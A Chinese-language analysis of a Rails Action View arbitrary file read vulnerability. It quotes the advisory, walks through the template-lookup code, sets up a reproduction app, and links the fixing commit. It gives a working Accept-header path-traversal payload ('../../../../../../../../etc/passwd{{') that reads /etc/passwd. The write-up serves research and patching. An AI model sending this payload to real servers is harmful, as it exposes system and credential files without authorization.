漏洞公告

https://groups.google.com/forum/#!topic/rubyonrails-security/pFRKI96Sm8Q

Versions Affected:  All. 
Not affected:       None. 
Fixed Versions:     6.0.0.beta3, 5.2.2.1, 5.1.6.2, 5.0.7.2, 4.2.11.1 

Impact 
------ 
There is a possible file content disclosure vulnerability in Action View. 
Specially crafted accept headers in combination with calls to `render file:` 
can cause arbitrary files on the target server to be rendered, disclosing the 
file contents. 

The impact is limited to calls to `render` which render file contents without 
a specified accept format.  Impacted code in a controller looks something like 
this: 

    class UserController < ApplicationController 
    def index 
        render file: "#{Rails.root}/some/file" 
    end 
    end

漏洞分析

在控制器中通过render file形式来渲染应用之外的视图,因此在 actionview-5.2.1/lib/action_view/renderer/template_renderer.rb:22 中会根据 options.key?(:file),调用find_file来寻找视图。

module ActionView
  class TemplateRenderer < AbstractRenderer #:nodoc:
    # Determine the template to be rendered using the given options.
      def determine_template(options)
        keys = options.has_key?(:locals) ? options[:locals].keys : []
        if options.key?(:body)
          ...
        elsif options.key?(:file)
          with_fallbacks { find_file(options[:file], nil, false, keys, @details) }
        ...
      end
end

find_file代码如下:

def find_file(name, prefixes = [], partial = false, keys = [], options = {})
    @view_paths.find_file(*args_for_lookup(name, prefixes, partial, keys, options))
end

继续跟入args_for_lookup函数,用于生成用于查找文件的参数,当其最终返回时会把payload保存在details[formats]中:

此后回到@view_paths.find_file并跟入会进入 actionview-5.2.1/lib/action_view/path_set.rb:

class PathSet #:nodoc:
    def find_file(path, prefixes = [], *args)
      _find_all(path, prefixes, args, true).first || raise(MissingTemplate.new(self, path, prefixes, *args))
    end
    private
    # 注,这里的 args 即前面args_for_lookup生成的details
        def _find_all(path, prefixes, args, outside_app)
            prefixes = [prefixes] if String === prefixes
            prefixes.each do |prefix|
            paths.each do |resolver|
                if outside_app
                templates = resolver.find_all_anywhere(path, prefix, *args)
                else
                templates = resolver.find_all(path, prefix, *args)
                end
                return templates unless templates.empty?
            end
            end
            []
        end

由于要渲染的视图在应用之外,因此跟入find_all_anywhere

def find_all_anywhere(name, prefix, partial = false, details = {}, key = nil, locals = [])
    cached(key, [name, prefix, partial], details, locals) do
    find_templates(name, prefix, partial, details, true)
    end
end

跳过cached部分,跟入find_templates,这里正式根据条件来查找要渲染的模板:

# An abstract class that implements a Resolver with path semantics.
class PathResolver < Resolver #:nodoc:
    EXTENSIONS = { locale: ".", formats: ".", variants: "+", handlers: "." }
    DEFAULT_PATTERN = ":prefix/:action{.:locale,}{.:formats,}{+:variants,}{.:handlers,}"

    ...

    private
        def find_templates(name, prefix, partial, details, outside_app_allowed = false)
            path = Path.build(name, prefix, partial)
            # 注意 details 与 details[:formats] 的传入
            query(path, details, details[:formats], outside_app_allowed)
        end

        def query(path, details, formats, outside_app_allowed)
            query = build_query(path, details)
            template_paths = find_template_paths(query)
            ...
            end
        end

build_query后如下:

利用../与前缀组合造成路径穿越,利用最后的{{完成闭合,经过File.expand_path解析后组成的query如下:

/etc/passwd{{},}{+{},}{.{raw,erb,html,builder,ruby,coffee,jbuilder},}

最后/etc/passwd被当成模板文件进行渲染,最后造成了任意文件读取。

漏洞复现

基本环境搭建

# echo "gem 'rails', '5.2.1'" >> Gemfile
# echo "gem 'sqlite3', '~> 1.3.6', '< 1.4'" >> Gemfile
# echo "source 'https://rubygems.org'" >> Gemfile
# bundle exec rails new . --force --skip-bundle

生成控制器:

# rails generate controller chybeta

在 app/controllers/chybeta_controller.rb 中添加:

class ChybetaController < ApplicationController
  def index
    render file: "#{Rails.root}/some/file"
  end
end

在 config/routes.rb 中添加 resources :

Rails.application.routes.draw do
  resources :chybeta
end

可以用命令rails routes检查是否存在路由。

修改Accept头为../../../../../../../../etc/passwd{{ :

补丁

https://github.com/rails/rails/commit/f4c70c2222180b8d9d924f00af0c7fd632e26715

禁止接受未注册的mime type

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